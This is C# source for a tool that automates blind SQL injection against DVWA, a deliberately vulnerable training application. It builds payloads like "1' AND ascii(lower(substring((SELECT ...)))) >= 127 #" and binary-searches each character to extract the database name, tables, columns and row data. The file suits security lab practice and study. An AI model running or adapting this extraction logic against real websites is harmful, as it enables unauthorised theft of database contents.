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Handing.cs
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Handing.cs
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using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Tool_SqlInjectionBlind_Dvwa
{
public static class Handing
{
public static ResultRequest.Result GetResultSubmit(HtmlDocument html)
{
HtmlElementCollection h = html.GetElementsByTagName("pre");
if (h.Count != 0)
{
if (h[0].InnerHtml.Equals("User ID exists in the database."))//true
{
return ResultRequest.Result.Exists;
}
else if (h[0].InnerHtml.Equals("User ID is MISSING from the database.")) //false
{
return ResultRequest.Result.Missing;
}
}
return ResultRequest.Result.Fail;
}
public static int Mid(int left, int right)
{
return (((right - left) / 2) + left);
}
public static string Change_CharCompare_Sql(this string sql, int left, int right)
{
//"1' AND ascii(lower(substring((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_NAME>'u' LIMIT 1), 1,1))) >= 124 #";
sql = sql.Substring(0, sql.LastIndexOf(">= ") + 3);
sql += (Mid(left, right) + " #");
return sql;
}
public static ResultRequest.Job Respond(ResultRequest.Result result, ResultRequest.Mode mode, ResultRequest.Mode_SQL mode_sql,
ref string sql, ref int left, ref int right, ref int mid, ref string str_result)
{
if (result == ResultRequest.Result.Exists)
{
if (left == mid) //done
{
//lbl_Result_DBName.Text += (char)mid;
if(mode == ResultRequest.Mode.Number)
{
str_result += mid;
return ResultRequest.Job.Done_ALL;
}
else if (mode == ResultRequest.Mode.String) // end str
{
if((char)mid == '\0')
{
str_result = "" + (char)mid;
return ResultRequest.Job.Done_ALL;
}
}
str_result = "" + (char)mid;
left = 0; right = 255; mid = 127;
return ResultRequest.Job.Done_OnePart;
}
left = mid;
sql = sql.Change_CharCompare_Sql(left, right);
mid = Convert.ToInt32(Mid(left, right));
return ResultRequest.Job.Continue;
}
else if (result == ResultRequest.Result.Missing)
{
right = mid;
sql = sql.Change_CharCompare_Sql(left, right);
mid = Convert.ToInt32(Mid(left, right));
return ResultRequest.Job.Continue;
}
else if (result == ResultRequest.Result.Fail) //end
{
str_result = "|";
return ResultRequest.Job.Fail;
}
else
{
return ResultRequest.Job.Fail;
}
}
public static ResultRequest.Job Get_Result_Respond(ResultRequest.Result result,
ref string sql, ref int left, ref int right, ref int mid, ref string str_result)
{
ResultRequest.Job work_state = ResultRequest.Job.None;
if (Confirm.Is_Click_btnGDatabaseName)
{
work_state = Handing.Respond(result, ResultRequest.Mode.String, ResultRequest.Mode_SQL.DB_Name,
ref sql, ref left, ref right, ref mid, ref str_result);
}
else if (Confirm.Is_Click_btnGNameTables)
{
if (Confirm.Count_Tables_Done)
{
work_state = Handing.Respond(result, ResultRequest.Mode.String, ResultRequest.Mode_SQL.TABLES_NAME,
ref sql, ref left, ref right, ref mid, ref str_result);
}
else
{
work_state = Handing.Respond(result, ResultRequest.Mode.Number, ResultRequest.Mode_SQL.TABLES_NAME,
ref sql, ref left, ref right, ref mid, ref str_result);
}
}
else if (Confirm.Is_Click_btnGNameColumns)
{
if (Confirm.Find_Quantity_Done)
{
work_state = Handing.Respond(result, ResultRequest.Mode.String, ResultRequest.Mode_SQL.COLUMNS_NAME,
ref sql, ref left, ref right, ref mid, ref str_result);
}
else
{
work_state = Handing.Respond(result, ResultRequest.Mode.Number, ResultRequest.Mode_SQL.COLUMNS_NAME,
ref sql, ref left, ref right, ref mid, ref str_result);
}
}
else if (Confirm.Is_Click_btnGetData)
{
if (!Confirm.Find_Quantity_Row_Done.Contains(false))
{
work_state = Handing.Respond(result, ResultRequest.Mode.String, ResultRequest.Mode_SQL.DATA_TABLE,
ref sql, ref left, ref right, ref mid, ref str_result);
}
else
{
work_state = Handing.Respond(result, ResultRequest.Mode.Number, ResultRequest.Mode_SQL.DATA_TABLE,
ref sql, ref left, ref right, ref mid, ref str_result);
}
}
return work_state;
}
public static string Next_Char_Sql(this string sql, ResultRequest.Mode_SQL mode_sql, ref int index)
{
if(mode_sql == ResultRequest.Mode_SQL.DB_Name)
{
string t = " " + index + ",";
int length = sql.LastIndexOf(t);
string str_f = sql.Substring(0, sql.LastIndexOf(t));
string str_l = "1))) >= 127 #";
index += 1;
sql = str_f + " " + index + "," + str_l;
return sql;
}
else if(mode_sql == ResultRequest.Mode_SQL.TABLES_NAME)
{
//"1' AND ascii(lower(substring((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA LIKE 'dvwa' LIMIT 0, 1), 0, 1))) >= 127 #";
string str_f = sql.Substring(0, sql.LastIndexOf("LIMIT ") + "LIMIT ".Length);
int lc_f = sql.LastIndexOf("LIMIT ") + "LIMIT ".Length + Variable.Index_Tables.ToString().Length;
int lc_e = sql.LastIndexOf("1), " + index + ",") + 4;
string str_m = sql.Substring(lc_f, lc_e - lc_f);
string str_l = ", 1))) >= 127 #";
index += 1;
sql = str_f + Variable.Index_Tables + str_m + index + str_l;
return sql;
}
else if(mode_sql == ResultRequest.Mode_SQL.COLUMNS_NAME)
{
//"1' AND ascii(lower(substring((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA LIKE 'dvwa' LIMIT 0, 1), 0, 1))) >= 127 #";
string str_f = sql.Substring(0, sql.LastIndexOf("LIMIT ") + "LIMIT ".Length);
int lc_f = sql.LastIndexOf("LIMIT ") + "LIMIT ".Length + Variable.Index_Columns.ToString().Length;
int lc_e = sql.LastIndexOf("1), " + index + ",") + 4;
string str_m = sql.Substring(lc_f, lc_e - lc_f);
string str_l = ", 1))) >= 127 #";
index += 1;
sql = str_f + Variable.Index_Columns + str_m + index + str_l;
return sql;
}
else if(mode_sql == ResultRequest.Mode_SQL.DATA_TABLE)
{
string str_f = sql.Substring(0, sql.LastIndexOf("LIMIT ") + "LIMIT ".Length);
int lc_f = sql.LastIndexOf("LIMIT ") + "LIMIT ".Length + Variable.Index_Rows.ToString().Length;
int lc_e = sql.LastIndexOf("1), " + index + ",") + 4;
string str_m = sql.Substring(lc_f, lc_e - lc_f);
string str_l = ", 1))) >= 127 #";
index += 1;
sql = str_f + Variable.Index_Rows + str_m + index + str_l;
return sql;
}
return sql;
}
public static string Change_Sql_Get_Next_Char(ResultRequest.Mode_SQL mode_sql)
{
int index = Variable.Index_str;
Variable.Sql_Request = Variable.Sql_Request.Next_Char_Sql(mode_sql, ref index);
Variable.Index_str = index;
return Variable.Sql_Request;
}
}
}